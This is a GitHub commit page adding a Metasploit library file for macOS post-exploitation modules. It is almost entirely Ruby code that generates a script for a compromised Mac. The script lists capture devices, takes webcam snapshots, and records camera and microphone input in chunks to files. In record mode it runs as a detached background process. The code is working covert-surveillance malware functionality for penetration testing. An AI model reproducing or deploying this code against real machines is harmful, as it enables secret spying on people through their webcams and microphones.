Skip to content

Commit a91b38c

Browse files
committed
Land rapid7#2276 - osx webcam and record_mic post modules
2 parents 728d0a0 + 2d3f599 commit a91b38c

File tree

3 files changed

+667
-0
lines changed

3 files changed

+667
-0
lines changed

lib/msf/core/post/osx/ruby_dl.rb

Lines changed: 382 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,382 @@
1+
module Msf
2+
class Post
3+
module OSX
4+
module RubyDL
5+
def osx_ruby_dl_header
6+
<<-EOS
7+
require 'dl'
8+
require 'dl/import'
9+
10+
#### Patches to DL (for compatibility between 1.8->1.9)
11+
12+
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
13+
14+
def ruby_1_9_or_higher?
15+
RUBY_VERSION.to_f >= 1.9
16+
end
17+
18+
def malloc(size)
19+
if defined?(DL::CPtr)
20+
DL::CPtr.malloc(size)
21+
else
22+
DL::malloc(size)
23+
end
24+
end
25+
26+
# the old Ruby Importer defaults methods to downcase every import
27+
# This is annoying, so we'll patch with method_missing
28+
if not ruby_1_9_or_higher?
29+
module DL
30+
module Importable
31+
def method_missing(meth, *args, &block)
32+
str = meth.to_s
33+
lower = str[0,1].downcase + str[1..-1]
34+
if self.respond_to? lower
35+
self.send lower, *args
36+
else
37+
super
38+
end
39+
end
40+
end
41+
end
42+
end
43+
EOS
44+
end
45+
46+
def osx_capture_media(opts)
47+
capture_code = <<-EOS
48+
#{osx_ruby_dl_header}
49+
50+
options = {
51+
:action => '#{opts[:action]}', # or list|snapshot|record
52+
:snap_filetype => '#{opts[:snap_filetype]}', # jpg|png|gif|tiff|bmp
53+
:audio_enabled => #{opts[:audio_enabled]},
54+
:video_enabled => #{opts[:video_enabled]},
55+
:num_chunks => #{opts[:num_chunks]}, # wachawa!
56+
:chunk_len => #{opts[:chunk_len]}, # save chunks every 5 seconds
57+
:video_device => #{opts[:video_device]}, # automatic
58+
:audio_device => #{opts[:audio_device]},
59+
:snap_jpg_compression => #{opts[:snap_jpg_compression]}, # compression ratio (between 0 & 1), JPG ONLY
60+
:video_compression => '#{opts[:video_compression]}',
61+
:audio_compression => '#{opts[:audio_compression]}',
62+
:record_file => '#{opts[:record_file]}',
63+
:snap_file => '#{opts[:snap_file]}'
64+
}
65+
66+
RUN_LOOP_STEP = 0.1 # "tick" duration for spinning NSRunLoop
67+
68+
# NSTIFFFileType 0
69+
# NSBMPFileType 1
70+
# NSGIFFileType 2
71+
# NSJPEGFileType 3
72+
# NSPNGFileType 4
73+
SNAP_FILETYPES = %w(tiff bmp gif jpg png)
74+
75+
snap_filetype_index = SNAP_FILETYPES.index(options[:snap_filetype].to_s)
76+
77+
require 'fileutils'
78+
FileUtils.mkdir_p File.dirname(options[:record_file])
79+
FileUtils.mkdir_p File.dirname(options[:snap_file])
80+
81+
#### Helper methods for objc message passing
82+
83+
if not ruby_1_9_or_higher?
84+
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
85+
# so we have to reload the lib into separate modules with different
86+
# exported typedefs, and patch objc_call to do our own typechecking.
87+
# this can probably be done better.
88+
module LibCWithInt
89+
extend Importer
90+
dlload 'libSystem.B.dylib'
91+
extern 'void *sel_getUid(void*)'
92+
extern 'void *objc_msgSend(void *, void *, int, int)'
93+
end
94+
module LibCWithFloat
95+
extend Importer
96+
dlload 'libSystem.B.dylib'
97+
extern 'void *sel_getUid(void*)'
98+
extern 'void *objc_msgSend(void *, void *, double, double)'
99+
end
100+
module LibCWithVoidPtrInt
101+
extend Importer
102+
dlload 'libSystem.B.dylib'
103+
extern 'void *sel_getUid(void*)'
104+
extern 'void *objc_msgSend(void *, void *, void*, int)'
105+
end
106+
module LibCWithIntVoidPtr
107+
extend Importer
108+
dlload 'libSystem.B.dylib'
109+
extern 'void *sel_getUid(void*)'
110+
extern 'void *objc_msgSend(void *, void *, int, void*)'
111+
end
112+
end
113+
114+
115+
def objc_call(instance, method, arg=nil, arg2=nil)
116+
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
117+
# so we have to reload the lib into a separate with different exported typedefs,
118+
# and call
119+
if not ruby_1_9_or_higher? and arg.kind_of?(Integer)
120+
if not arg2.kind_of?(Integer) and not arg2.nil?
121+
LibCWithIntVoidPtr.objc_msgSend(instance, LibCWithIntVoidPtr.sel_getUid(method), arg||0, arg2)
122+
else
123+
LibCWithInt.objc_msgSend(instance, LibCWithInt.sel_getUid(method), arg||0, arg2||0)
124+
end
125+
elsif not ruby_1_9_or_higher? and arg2.kind_of?(Integer)
126+
LibCWithVoidPtrInt.objc_msgSend(instance, LibCWithVoidPtrInt.sel_getUid(method), arg||0, arg2)
127+
elsif not ruby_1_9_or_higher? and arg.kind_of?(Float)
128+
LibCWithFloat.objc_msgSend(instance, LibCWithFloat.sel_getUid(method), arg||0.0, arg2||0.0)
129+
else
130+
QTKit.objc_msgSend(instance, QTKit.sel_getUid(method), arg, arg2)
131+
end
132+
end
133+
134+
def objc_call_class(klass, method, arg=nil, arg2=nil)
135+
objc_call(QTKit.objc_getClass(klass), QTKit.sel_getUid(method), arg, arg2)
136+
end
137+
138+
def nsstring(str)
139+
objc_call(objc_call(objc_call_class(
140+
'NSString', 'alloc'),
141+
'initWithCString:', str),
142+
'autorelease')
143+
end
144+
145+
146+
#### External dynamically linked code
147+
148+
VID_TYPE = 'vide'
149+
MUX_TYPE = 'muxx'
150+
AUD_TYPE = 'soun'
151+
152+
module QTKit
153+
extend Importer
154+
dlload 'QTKit.framework/QTKit'
155+
extern 'void *objc_msgSend(void *, void *, void *, void*)'
156+
extern 'void *sel_getUid(void*)'
157+
extern 'void *objc_getClass(void *)'
158+
end
159+
160+
#### Actual Webcam code
161+
autorelease_pool = objc_call_class('NSAutoreleasePool', 'new')
162+
163+
vid_type = nsstring(VID_TYPE)
164+
mux_type = nsstring(MUX_TYPE)
165+
aud_type = nsstring(AUD_TYPE)
166+
167+
devices_ref = objc_call_class('QTCaptureDevice', 'inputDevices')
168+
device_count = objc_call(devices_ref, 'count').to_i
169+
if device_count.zero? and not options[:actions] =~ /list/i
170+
raise "Invalid device. Check devices with `set ACTION LIST`. Exiting."
171+
exit
172+
end
173+
174+
device_enum = objc_call(devices_ref, 'objectEnumerator')
175+
devices = (0...device_count).
176+
map { objc_call(device_enum, 'nextObject') }.
177+
select do |device|
178+
vid = objc_call(device, 'hasMediaType:', vid_type).to_i > 0
179+
mux = objc_call(device, 'hasMediaType:', mux_type).to_i > 0
180+
vid or mux
181+
end
182+
183+
device_enum = objc_call(devices_ref, 'objectEnumerator')
184+
audio_devices = (0...device_count).
185+
map { objc_call(device_enum, 'nextObject') }.
186+
select { |d| objc_call(d, 'hasMediaType:', aud_type).to_i > 0 }
187+
188+
def device_names(devices)
189+
devices.
190+
map { |device| objc_call(device, 'localizedDisplayName') }.
191+
map { |name| objc_call(name, 'UTF8String') }.
192+
map(&:to_s)
193+
end
194+
195+
def device_stati(devices)
196+
devices.
197+
map { |d| objc_call(d, 'isInUseByAnotherApplication').to_i > 0 }.
198+
map { |b| if b then 'BUSY' else 'AVAIL' end }
199+
end
200+
201+
def print_devices(devices)
202+
device_names(devices).zip(device_stati(devices)).each_with_index do |d, i|
203+
puts "\#{i}. \#{d[0]} [\#{d[1]}]"
204+
end
205+
end
206+
207+
def print_compressions(type)
208+
compressions = objc_call_class('QTCompressionOptions',
209+
'compressionOptionsIdentifiersForMediaType:', type)
210+
count = objc_call(compressions, 'count').to_i
211+
if count.zero?
212+
puts "No supported compression types found."
213+
else
214+
comp_enum = objc_call(compressions, 'objectEnumerator')
215+
puts((0...count).
216+
map { objc_call(comp_enum, 'nextObject') }.
217+
map { |c| objc_call(c, 'UTF8String').to_s }.
218+
join("\n")
219+
)
220+
end
221+
end
222+
223+
def use_audio?(options)
224+
options[:audio_enabled] and options[:action].to_s == 'record'
225+
end
226+
227+
def use_video?(options)
228+
(options[:video_enabled] and options[:action].to_s == 'record') or options[:action].to_s == 'snapshot'
229+
end
230+
231+
if options[:action].to_s == 'list'
232+
if options[:video_enabled]
233+
puts "===============\nVideo Devices:\n===============\n"
234+
print_devices(devices)
235+
puts "\nAvailable video compression types:\n\n"
236+
print_compressions(vid_type)
237+
end
238+
puts "\n===============\nAudio Devices:\n===============\n"
239+
print_devices(audio_devices)
240+
puts "\nAvailable audio compression types:\n\n"
241+
print_compressions(aud_type)
242+
exit
243+
end
244+
245+
# Create a session to add I/O to
246+
session = objc_call_class('QTCaptureSession', 'new')
247+
248+
# open the AV devices
249+
if use_video?(options)
250+
video_device = devices[options[:video_device]]
251+
if not objc_call(video_device, 'open:', nil).to_i > 0
252+
raise 'Failed to open video device'
253+
end
254+
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
255+
input = objc_call(input, 'initWithDevice:', video_device)
256+
objc_call(session, 'addInput:error:', input, nil)
257+
end
258+
259+
if use_audio?(options)
260+
# open the audio device
261+
audio_device = audio_devices[options[:audio_device]]
262+
if not objc_call(audio_device, 'open:', nil).to_i > 0
263+
raise 'Failed to open audio device'
264+
end
265+
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
266+
input = objc_call(input, 'initWithDevice:', audio_device)
267+
objc_call(session, 'addInput:error:', input, nil)
268+
end
269+
270+
# initialize file output
271+
record_file = options[:record_file]
272+
output = objc_call_class('QTCaptureMovieFileOutput', 'new')
273+
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
274+
objc_call(output, 'recordToOutputFileURL:', file_url)
275+
objc_call(session, 'addOutput:error:', output, nil)
276+
277+
# set up video/audio compression options
278+
connection = nil
279+
connection_enum = objc_call(objc_call(output, 'connections'), 'objectEnumerator')
280+
281+
while (connection = objc_call(connection_enum, 'nextObject')).to_i > 0
282+
media_type = objc_call(connection, 'mediaType')
283+
284+
compress_opts = if objc_call(media_type, 'isEqualToString:', vid_type).to_i > 0 ||
285+
objc_call(media_type, 'isEqualToString:', mux_type).to_i > 0
286+
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
287+
nsstring(options[:video_compression]))
288+
elsif use_audio?(options) and objc_call(media_type, 'isEqualToString:', aud_type).to_i > 0
289+
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
290+
nsstring(options[:audio_compression]))
291+
end
292+
293+
unless compress_opts.to_i.zero?
294+
objc_call(output, 'setCompressionOptions:forConnection:', compress_opts, connection)
295+
end
296+
end
297+
298+
# start capturing from the webcam
299+
objc_call(session, 'startRunning')
300+
301+
# we use NSRunLoop, which allows QTKit to spin its thread? somehow it is needed.
302+
run_loop = objc_call_class('NSRunLoop', 'currentRunLoop')
303+
304+
# wait until at least one frame has been captured
305+
while objc_call(output, 'recordedFileSize').to_i < 1
306+
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
307+
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
308+
end
309+
310+
if options[:action] == 'record' # record in a loop for options[:record_len] seconds
311+
curr_chunk = 0
312+
last_roll = Time.now
313+
# wait until at least one frame has been captured
314+
while curr_chunk < options[:num_chunks]
315+
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
316+
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
317+
318+
if Time.now - last_roll > options[:chunk_len].to_i # roll that movie file
319+
base = File.basename(record_file, '.*') # returns it with no extension
320+
num = ((base.match(/\\d+$/)||['0'])[0].to_i+1).to_s
321+
ext = File.extname(record_file) || 'o'
322+
record_file = File.join(File.dirname(record_file), base+num+'.'+ext)
323+
324+
# redirect buffer output to new file path
325+
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
326+
objc_call(output, 'recordToOutputFileURL:', file_url)
327+
# remember we hit a chunk
328+
last_roll = Time.now
329+
curr_chunk += 1
330+
end
331+
end
332+
end
333+
334+
# stop recording and stop session
335+
objc_call(output, 'recordToOutputFileURL:', nil)
336+
objc_call(session, 'stopRunning')
337+
338+
# give QTKit some time to write to file
339+
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
340+
341+
if options[:action] == 'snapshot' # user wants a snapshot
342+
# read captured movie file into QTKit
343+
dict = objc_call_class('NSMutableDictionary', 'dictionary')
344+
objc_call(dict, 'setObject:forKey:', nsstring('NSImage'), nsstring('QTMovieFrameImageType'))
345+
# grab a frame image from the move
346+
m = objc_call_class('QTMovie', 'movieWithFile:error:', nsstring(options[:record_file]), nil)
347+
img = objc_call(m, 'currentFrameImage')
348+
# set compression options
349+
opts = objc_call_class('NSDictionary', 'dictionaryWithObject:forKey:',
350+
objc_call_class('NSNumber', 'numberWithFloat:', options[:snap_jpg_compression]),
351+
nsstring('NSImageCompressionFactor')
352+
)
353+
# convert to desired format
354+
bitmap = objc_call(objc_call(img, 'representations'), 'objectAtIndex:', 0)
355+
data = objc_call(bitmap, 'representationUsingType:properties:', snap_filetype_index, opts)
356+
objc_call(data, 'writeToFile:atomically:', nsstring(options[:snap_file]), 0)
357+
358+
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
359+
360+
# # delete the original movie file
361+
File.delete(options[:record_file])
362+
end
363+
364+
objc_call(autorelease_pool, 'drain')
365+
366+
EOS
367+
if opts[:action] == 'record'
368+
capture_code = %Q|
369+
cpid = fork do
370+
#{capture_code}
371+
end
372+
Process.detach(cpid)
373+
puts cpid
374+
|
375+
end
376+
capture_code
377+
end
378+
end
379+
380+
end
381+
end
382+
end

0 commit comments

Comments
 (0)